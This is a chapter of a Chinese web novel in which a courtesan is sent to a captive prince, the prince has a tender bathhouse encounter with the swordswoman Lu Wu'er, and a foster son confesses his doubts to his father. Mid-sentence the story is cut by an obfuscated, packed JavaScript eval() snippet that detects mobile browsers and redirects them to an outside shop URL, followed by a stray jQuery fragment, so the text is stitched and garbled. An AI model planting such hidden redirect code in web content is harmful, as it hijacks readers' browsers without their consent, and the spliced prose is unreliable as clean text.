111.第 111 章
作品:《双龙破城记》 教授语录:真情实意总是让人不敢相信。
小青,年方二八,生得花容月貌,是苦水镇繁花楼的花魁。
她可以骄傲地说整个苦水镇的男人没有一个不拜倒在她石榴裙下的。
这样的美人儿,今天却迎来了特殊的客人。
苦水镇的衙役上门了。
她本以为是镇老爷想她了,可问起来却不是。
她盯着眼神闪躲的衙役,觉得事情没那么简单。
混迹花楼多年的她可不是个傻白甜。
她当即给衙役塞了些银子。
“大人,今儿这是寻我做什?”
那衙役收了她的银子,眼珠子转了一下,笑着道:
“姑娘是个聪明人,实话和你说吧。今儿是个好差事。”
“镇老爷本想让他自己女儿去的,可两个女儿一听在家争打了起来。这不,镇老爷索性让她们一个也别去。”
“镇老爷心里还是想着姑娘你的,这不,就让小的来请姑娘了?”
小青一听怔了一下,“能让小姐们争打起来,应该是好事,但会轮到我吗?”
见小青还很犹豫,衙役又道:
“镇老爷的女儿都是未出阁的姑娘哪里如小青姑娘般会服侍人的。这是个重要贵客,若服侍得不好,得罪了,镇老爷担待不起的。”
这下小青有些懂了,她把乌黑的长发挽到胸前,低头一边用手梳理,一边抬着媚眼道:
“哎呀,没想到我这个花楼女也能关系着镇老爷的乌纱帽?”说完她意味深长地看了衙役一眼。
衙役一下秒懂,忙不迭地把刚刚收的银子塞回小青手里。
“以后还请小青姑娘多关照。”
小青也不客气,提起银子,一扭一扭地走到了前面。
这里是苦水镇最大最豪华的客栈,圣英王和州府的一众衙役就安排在这里休息。
一众衙役都是一楼吃住,而贵囚圣英则连饭都是有衙役的长官单独送去的。
实话说,虽没有自由,但锦衣玉食的日子让圣英想感激陆五儿。
这背叛完全是为他着想呀,看看这菜色,可是在都护府都没有的。
吃完,他还吩咐要洗澡,看着护送(押运)的衙役那一阵忙碌,圣英得逞的厉害。
洗到热水澡的他遥想都护府那总是经费紧张,水源不足的拮据生活,突然有种恍若隔世的感觉。
他努力地忘却西北都护府的一切,却总是有张脸浮现在他脑海。
为了抹去那张脸,他沉入浴桶里,让温暖的水包围了他全身。
啪答一声,不知是门还是窗,总之有什么开了。
“哎呦,享受呢嘛?”陆五儿的声音隔着屏风传来。
圣英认出了她的声音,急急找衣服。
“怕什么,我又不看你。再说我不能看吗?”她话虽说得孟浪,人却没有绕过屏风。
圣英看着屏风后她的剪影,心下揶揄,嘴上说的厉害,人却胆小如鼠。
心里这般想他便放回了要穿的衣服,索性稳稳地在水里泡着。
“你不是要看吗?索性一起泡吧,这水还热着呢。”圣英故意逗她道。
“那我可就来了。”
陆五儿话音一落,一把寒光利剑便刺穿了屏风,剑尖点在圣英的鼻尖上。就差半分,圣英的鼻子可能就没有了。
圣英吓得一屁股坠到浴桶底。那桶里的热水被这一逼,溢了一地。
“这么桶看来小了,王爷一个人看来都不够洗的。”陆五儿一边收回了刀,一边得意道。
她今夜冒险前来其实是想解释一下告密的苦衷的,但见他活的挺好,突然觉得没必要了。
“你享受归享受,可要小心些,别着了他们的道。我和你那些兄弟们虽在不远处,但饮食等有些地方总是照应不到的。”
这话让圣英心头一暖,他急急地从浴盆里爬起,对着屏风后面的她道:
“放心,麟宣这一路他们不敢拿我怎么的。毕竟谁也不想做别人的替死鬼。只是我这些日子看不到你,想你得紧,现在连做梦都是你。”
这突然的情话绵绵回应让陆五儿一怔。
她倒是丝毫没被感动,反倒气得满脸通红,恨不得一剑让他闭嘴,但奇怪的是,向来手起刀落从不含糊的她,今儿却没动手。
陆五儿抬头摸了一下滚烫的脸,背过身去,许久才压着气道:
“待到麟宣自是要救你的,你放心。”
圣英哪里还等得到什么麟宣,急急抽了件内里的衣服,披束好,连鞋子都没穿,便向屏风后冲去。
明明他的新娘就在近前,他才不要等不到那个时候呢。
可古话说的好,心急吃不了热豆腐,烫嘴的惩罚总是来的太快。
只听哎呦一声,嘭的一响,猴急的王爷因为之前地上的积水,摔得个人仰马翻,大腚重重地砸落在地,要不是他年轻,那尾骨定是要断了的。
但古人另一句也说得好,上善若水。
那积水虽害得他摔倒,却也顺便推了他一把,让他滑到了屏风后,见到了他那日思夜想的人。
他一玉树临风已经不可能了,于是当场改变策略,一手按着腰,一手伸向陆五儿,以极夸张极大声极委屈的声音道:
“哎呦看喂,我这是怕是腰断了吧?”
陆五儿一听声音早已转了过来,她本是要去扶他的,可见他身上就穿了件内里的衣服,羞得立刻又转了过去。
“活该。”
“五儿,扶一下我吗!”圣英王赖在地上又把手朝她伸了伸。
陆五儿心里虽把他骂了千万遍,可还是背着他,把手递了过去。
陆五儿的手白皙,细长,却满是茧子,圣英看着心疼,忍不住抬眼看了她一眼,才伸手握去。
两手相握,一股温热的暖流让陆五儿身子一下变得轻柔,全身的血脉仿若卸了气般酥软开来。
还没轮到她振作精神,那只手已经使了一把力气把她拽了下来。
只是和圣英相比,她稳稳地落到他的身上。
得逞的他一把把她拢在怀里。
看着被自己捕获的她,圣英一时倒忘了该做什么,他就这么抱着她,开心满意地看着傻笑。
陆五儿被人这么偷袭,手里的刀子早已提起,可一转头,看着这个傻笑的他。她一下就把刀放下了,推了他一把。可她实在是傻,全然忘了自己还在别人怀里。如此一推,圣英是彻底倒地了,连着她也被拖累倒在了他的怀里。
两人贴得如此之近,呼吸一下变得纷乱起来。
手拿钢刀一世英名的陆五儿没想到她也有这般没用的一天。
刚清醒了些的她刚想挣扎,却被抱着她的圣英轻轻地亲了一下额头。
那吻很轻,很热,很温柔,仿佛绝世高人定穴术一般让陆五儿彻底定住了。
她动不了了,特别是在她看到他的时候,她身体发软,血液停滞,喉咙干涸的说不出话来。
她咽了几下,都没能松动僵硬的喉咙,更别说浑身溃散的肌肉了。
若此时是战场,那圣英此时的心跳就是胜利的擂鼓。他敲得的密集,敲得震天响,敲得欢欣雀跃,敲得陆五儿大脑一片空白。
被震碎心神的陆五儿愣愣地看着这个把自己,让自己的无力还手的敌人。
这是她第一次正眼看他,那坚毅的下巴,那下巴上微微长出的胡茬,还有那莹莹闪着光的眼睛。
原来他这么好看,一想到此,她决定缴械投降,放弃抵抗,心甘情愿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195711|167342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成了他的俘虏,乖乖地依偎在他身旁,和他一起傻傻地笑了起来。
两人正如在梦中,有人却已轻轻敲门进来。
一个女人推开了房门。对着里面娇滴滴地唤道
“大人,你在哪?”
小青看着空空荡荡的房间和那空空荡荡的浴桶,突然想起进屋之前衙役关照她的。
“满客栈的州府衙役役都是来看着这个贵人的,一方面是怕有什么闪失,另一方面,也怕这贵人使什么手段遁逃了。你若发现有什么不寻常,记得吼一声。”
小青脑中绷着这根弦,便轻手轻脚地搜寻了起来。
啪的一声轻响她的绣鞋踩在了水上,就在她懊恼鞋子湿了之时,突然听到屏风后面窸窸窣窣的细响。
月光透着开着的窗户撒到屏风上,让屏风成了皮影戏的屏幕,里面正上演一出香艳剧情。
一个披着头发的男子正抱着一个女子躺在地上举止亲昵,他一会儿撩拨她的头发,一会勾勾她的下巴。
那怀里的女子明显懂得半推半就的把戏,轻笑着推了他一把。
这剧情对于旁人定是要羞得退出屋子的,但对于风月场上的老手小青来说太熟悉不过了。
她眼睛一挑,轻蔑一笑。
“也不知哪里来的骚蹄子敢抢了老娘的肥肉,也不看看老娘是谁?”说完她便气哄哄地冲到了屏风后面。
这边鸳鸯戏水遭棒打,这边天衣无缝却情深。
“父亲的计划天衣无缝。”跪在地上的沈芳本该就此闭嘴的,可他还是重重地闭上眼睛,深深吸了一口气,继续道:
“可父亲算漏了两人。”
“咦”百花先生沈渐鸿转身看着地上跪着的儿子沈芳。
“第一,圣英王,父亲就那么确定他会来求你吗?我可是听说,他刚出西北都护府,就被抓获,正被秘密送往麟宣。”
一听这话,沈渐鸿眼眸垂了下来,脸上明显笼了一层阴云。
“另一个呢?”
“我。”沈芳说完抬眼胆怯地看向了父亲。
沈渐鸿有些不解,便去看他,只看了一眼,沈芳便害怕的低下了头,仿若犯了大错一般把自己藏了起来。
百花先生沈渐鸿见他这个样子,大概猜到了什么,围着他跪的地方缓缓绕了一圈,衣服垂下的布料摩挲着他跪着的地砖,发出沙沙的响声,折磨着他不安的心弦。
“你是说?”
见父亲开口,沈芳就急了,哭着抬起脸道:
“父亲就那么信我吗?”
他不知是害怕,还是别的什么,情绪激动到声音都发颤。
“父亲不怕我为了爵位,故意不去救你吗?”
一听不这话百花先生哈哈大笑。
“我只有你一个儿子,百年之后一切都是你,怕什么?”
“父亲,你明明知道我不是你的儿子。”
这话一出,百花先生怔了一下,随即郑重道:
“我只有你一个孩子,我愿意把我的命交给你。”
沈芳不傻,他眼睛死死地盯着这个假父亲。他希望从他眼里看出一丝虚情假意,可没有,他的眼神坚毅,笃定,没有一丝波澜。
失望的沈芳哭得更厉害了。他觉得自己如同一条毒蛇被好心的农夫捧在怀里。
沈渐鸿伸出手,抱住他那哭到发抖的身子。
“你是我最骄傲的儿子,你勤勉、踏实,你日后的成就定在我之上。我以后还要靠你呢。”
说完沈渐鸿轻轻拍了拍哭得没有人样的沈芳,替他抹去了泪水。
“可,父亲,现在没了王爷,我们便师出无名了。”
“没了圣英,的确可惜得很,可还有她。”
说完百花先生将一封书信放在沈芳手里。

